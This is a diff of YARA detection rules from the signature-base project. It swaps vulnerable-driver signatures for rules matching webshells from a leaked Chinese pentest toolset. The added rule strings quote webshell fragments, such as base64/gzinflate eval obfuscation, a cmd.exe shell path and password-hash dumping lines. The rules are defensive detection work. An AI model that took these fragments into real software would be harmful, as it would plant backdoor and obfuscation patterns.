+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 " ascii
+		$s2 = "<%if session(\"pw\")<>\"go\" then %>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <11KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_58A7 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Blacksky : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viraglt64.sys"
-		author = "Florian Roth"
-		id = "5ea684cc-982c-5056-9e80-26fe74cb3a64"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php6.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "741bb4db-6296-5222-8480-1169a6f44fd8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L739-L759"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
-		logic_hash = "f1f16f31db7cd1249b3a76eddf0091a1b89d158da5c3beb1e3ed5ec18a3a7d72"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L145-L160"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a60a599c6c8b6a6c0d9da93201d116af257636d7"
+		logic_hash = "3b92f63f536361d8ba0cde853fb546f271abdec3a7c1d44688a42610f5f90c57"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c002000310031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100360020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$s0 = "eval(gzinflate(base64_decode('" ascii
+		$s1 = "B1ac7Sky-->" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <641KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltxsys_Pancafemanager_0650 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFltX64.sys"
-		author = "Florian Roth"
-		id = "bc354ed5-befe-5421-9dbe-a5faef0cfa4a"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file asp3.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0cb01c07-b424-532d-8aef-5ec25dfe3f19"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L762-L782"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "06508aacb4ed0a1398a2b0da5fa2dbf7da435b56da76fd83c759a50a51c75caf"
-		logic_hash = "ad7595823bec8291999096f6249051d51741761c09e5a00ed72b01beeb13389b"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L162-L177"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+		logic_hash = "e5f30a445be30c491e669c633bf2df08cbfb1017ecfc91f9ed83275550488304"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074005800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
+		$s1 = "if shellpath=\"\" then shellpath = \"cmd.exe\"" fullword ascii
+		$s2 = "c.open \"GET\", \"http://127.0.0.1:\" & port & \"/M_Schumacher/upadmin/s3\", Tru" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <444KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_0F17 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Sniff : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "a54ff7bf-30a8-5cfc-aaca-a172bee2062b"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file sniff.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8cf47d71-1b97-5967-ad70-2ea6fad7cc29"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L785-L805"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0f17e5cfc5bdd74aff91bfb1a836071345ba2b5d1b47b0d5bf8e7e0d4d5e2dbf"
-		logic_hash = "3e9d3d998c97ac3491211c231552ee36be1428ca8ec61e89e9c1c1b7ff4ccf22"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L179-L194"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e246256696be90189e6d50a4ebc880e6d9e28dfd"
+		logic_hash = "198442e75422055e7d65c5d1aef55819036a99077aa79dbd5006ba97c4fe4af8"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200320034002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));" fullword ascii
+		$s2 = "if (!logIt && my_s_smtp && (dport == 25 || sport == 25))" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		filesize <91KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_6C71 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Udf_Udf : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ncpl.sys"
-		author = "Florian Roth"
-		id = "730567f0-ae1e-5d8d-a9e6-df176faf4878"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file udf.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "07252f2d-1a99-5f21-940d-899a4821b511"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L808-L828"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44"
-		hash = "3a65d14fd3b1b5981084cdbd293dc6f4558911ea18dd80177d1e5b54d85bcaa0"
-		logic_hash = "62c957b30267a5f34ff98f36170473d042ccd30686b2e178513957126cde194c"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L196-L211"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "df63372ccab190f2f1d852f709f6b97a8d9d22b9"
+		logic_hash = "c7db32b5e66601e0b8322ac67b6b9ba8d6222891ed01db557bfac9985140421a"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s1 = "<?php // Source  My : Meiam  " fullword ascii
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <430KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Bsmisys_5962 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_JSP_Jsp : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BSMIXP64.sys"
-		author = "Florian Roth"
-		id = "86a0715c-4f0b-52ba-b6dc-44bd4499a222"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.html"
+		author = "Florian Roth (Nextron Systems)"
+		id = "46f2fb10-2c0c-5bc2-b3bb-eba4c74bcad7"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L831-L850"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
-		hash = "552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9"
-		logic_hash = "2ddfc5fea50425403654a8c60b372e2416cb0e0424ab26a8812e0b1fb35d399d"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L213-L228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c58fed3d3d1e82e5591509b04ed09cb3675dc33a"
+		logic_hash = "089e1a553900d149a4087ac81254295d74de15d9baaf73e60ce4f061e450e8c7"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053004d00490020004400720069007600650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420053004d0049002e007300790073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053004d0049002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000420049004f005300540041005200200043006f00720070002e00200032003000310031 }
+		$s1 = "<input name=f size=30 value=shell.jsp>" fullword ascii
+		$s2 = "<font color=red>www.i0day.com  By:" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_99F4 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_T00Ls_Lpk_Sethc_V4_Mail : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "b1168895-eef9-5dfc-9b19-b3e0e302586d"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file mail.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2f7d8a4d-9d94-5f23-9768-cc3712678d93"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L853-L903"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "99f4994a0e5bd1bf6e3f637d3225c69ff4cd620557e23637533e7f18d7d6cba1"
-		hash = "56a3c9ac137d862a85b4004f043d46542a1b61c6acb438098a9640469e2d80e7"
-		hash = "c2a4ddcc9c3b339d752c48925d62fc4cc5adbf6fae8fedef74cdd47e88da01f8"
-		hash = "50d5eaa168c077ce5b7f15b3f2c43bd2b86b07b1e926c1b332f8cb13bd2e0793"
-		hash = "9c10e2ec4f9ef591415f9a784b93dc9c9cdafa7c69602c0dc860c5b62222e449"
-		hash = "6f1ff29e2e710f6d064dc74e8e011331d807c32cc2a622cbe507fd4b4d43f8f4"
-		hash = "cd4a249c3ef65af285d0f8f30a8a96e83688486aab515836318a2559757a89bb"
-		hash = "d8b58f6a89a7618558e37afc360cd772b6731e3ba367f8d58734ecee2244a530"
-		hash = "3f2fda9a7a9c57b7138687bbce49a2e156d6095dddabb3454ea09737e02c3fa5"
-		hash = "fd8669794c67b396c12fc5f08e9c004fdf851a82faf302846878173e4fbecb03"
-		hash = "9529efb1837b1005e5e8f477773752078e0a46500c748bc30c9b5084d04082e6"
-		hash = "f088b2ba27dacd5c28f8ee428f1350dca4bc7c6606309c287c801b2e1da1a53d"
-		hash = "131d5490ceb9a5b2324d8e927fea5becfc633015661de2f4c2f2375a3a3b64c6"
-		hash = "e3936d3356573ce2e472495cd3ce769f49a613e453b010433dafce5ea498ddc2"
-		hash = "89b0017bc30cc026e32b758c66a1af88bd54c6a78e11ec2908ff854e00ac46be"
-		hash = "18776682fcc0c6863147143759a8d4050a4115a8ede0136e49a7cf885c8a4805"
-		hash = "7893307df2fdde25371645a924f0333e1b2de31b6bc839d8e2a908d7830c6504"
-		hash = "79e2d37632c417138970b4feba91b7e10c2ea251c5efe3d1fc6fa0190f176b57"
-		hash = "952199c28332bc90cfd74530a77ee237967ed32b3c71322559c59f7a42187dc4"
-		hash = "101402d4f5d1ae413ded499c78a5fcbbc7e3bae9b000d64c1dd64e3c48c37558"
-		hash = "39cfde7d401efce4f550e0a9461f5fc4d71fa07235e1336e4f0b4882bd76550e"
-		hash = "85866e8c25d82c1ec91d7a8076c7d073cccf421cf57d9c83d80d63943a4edd94"
-		hash = "b7a20b5f15e1871b392782c46ebcc897929443d82073ee4dcb3874b6a5976b5d"
-		hash = "d92eab70bcece4432258c9c9a914483a2267f6ab5ce2630048d3a99e8cb1b482"
-		hash = "984a77e5424c6d099051441005f2938ae92b31b5ad8f6521c6b001932862add7"
-		hash = "e005e8d183e853a27ad3bb56f25489f369c11b0d47e3d4095aad9291b3343bf1"
-		hash = "a961f5939088238d76757669a9a81905e33f247c9c635b908daac146ae063499"
-		hash = "a9706e320179993dade519a83061477ace195daa1b788662825484813001f526"
-		hash = "47f0cdaa2359a63ad1389ef4a635f1f6eee1f63bdf6ef177f114bdcdadc2e005"
-		hash = "38fa0c663c8689048726666f1c5e019feaa9da8278f1df6ff62da33961891d2a"
-		hash = "ef86c4e5ee1dbc4f81cd864e8cd2f4a2a85ee4475b9a9ab698a4ae1cc71fbeb0"
-		logic_hash = "762965fc7a01b572f1eee45df3f84a13ac185b7a9cbba9b04c285c2e798353e0"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L230-L245"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0a9b7b438591ee78ee573028cbb805a9dbb9da96"
+		logic_hash = "b835a6d0c736116e0a8b277dadbf25c2ac333b0d7937a6f67ed59887c610a57a"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "if (!$this->smtp_putcmd(\"AUTH LOGIN\", base64_encode($this->user)))" fullword ascii
+		$s2 = "$this->smtp_debug(\"> \".$cmd.\"\\n\");" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <39KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_26E3 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Phpwebbackup : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
-		author = "Florian Roth"
-		id = "6820d35b-66a3-512f-a734-0adefbf6a183"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file phpwebbackup.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eb737ea6-231c-5e8d-b976-75f1044f9f54"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L906-L928"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26e3bfef255efd052a84c3c43994c73222b14c95db9a4b1fc2e98f1a5cb26e43"
-		hash = "3e07bb866d329a2f9aaa4802bad04fdac9163de9bf9cfa1d035f5ca610b4b9bf"
-		hash = "c50f8ab8538c557963252b702c1bd3cee4604b5fc2497705d2a6a3fd87e3cc26"
-		logic_hash = "b1abafa69f65ebde217ebc1fbde8d19c00054aeb37f111bf82be07cf08525235"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L247-L262"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c788cb280b7ad0429313837082fe84e9a49efab6"
+		logic_hash = "45452fc415fbafe170a1b1f5a58df40f0ec65a9a6678e675b40a8c54e2d8bd6c"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310033002000430050005500490044 }
+		$s0 = "<?php // Code By isosky www.nbst.org" fullword ascii
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x3f3c and filesize <67KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Asustekcomputerinc_Bsdefsys_Supportsstsfssteeatftatcamfntamfnbvctvcbmftwc_5F5E : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Dz_Phpcms_Phpbb : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Bs_Def.sys"
-		author = "Florian Roth"
-		id = "e4e1fc9a-b453-5996-8675-7accb0de023e"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file dz_phpcms_phpbb.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f7e5413f-a7c9-51d4-8422-30c3e2462be2"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L931-L954"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be"
-		hash = "3326e2d32bbabd69feb6024809afc56c7e39241ebe70a53728c77e80995422a5"
-		hash = "0040153302b88bee27eb4f1eca6855039e1a057370f5e8c615724fa5215bada3"
-		hash = "36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb"
-		logic_hash = "bc91d83188674f0b81615a983aa92e905c878afa3040b4895778222249db8929"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L264-L281"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "33f23c41df452f8ca2768545ac6e740f30c44d1f"
+		logic_hash = "1455df58f51c3ae7558b89c940d97ea5870f261217b2a09727bb6678bcbd5500"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440065006600610075006c0074002000420049004f005300200046006c0061007300680020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100730075007300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007500700070006f0072007400200053005300540033003900530046003000320030002c0053005300540032003900450045003000320030002c004100540034003900460030003000320054002c00410054003200390043003000320030002c0041004d003200390046003000300032004e0054002c0041004d003200390046003000300032004e0042002c0056003200390043003500310030003000320054002c0056003200390043003500310030003000320042002c004d0032003900460030003000320054002c0057003200390043003000320030002e }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420073005f00440065006600360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004100730075007300540065006b00200043006f006d00700075007400650072002e00200031003900390032002d0032003000300034 }
+		$s1 = "if($pwd == md5(md5($password).$salt))" fullword ascii
+		$s2 = "function test_1($password)" fullword ascii
+		$s3 = ":\".$pwd.\"\\n---------------------------------\\n\";exit;" fullword ascii
+		$s4 = ":user=\".$user.\"\\n\";echo \"pwd=\".$pwd.\"\\n\";echo \"salt=\".$salt.\"\\n\";" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <22KB and all of them
 }
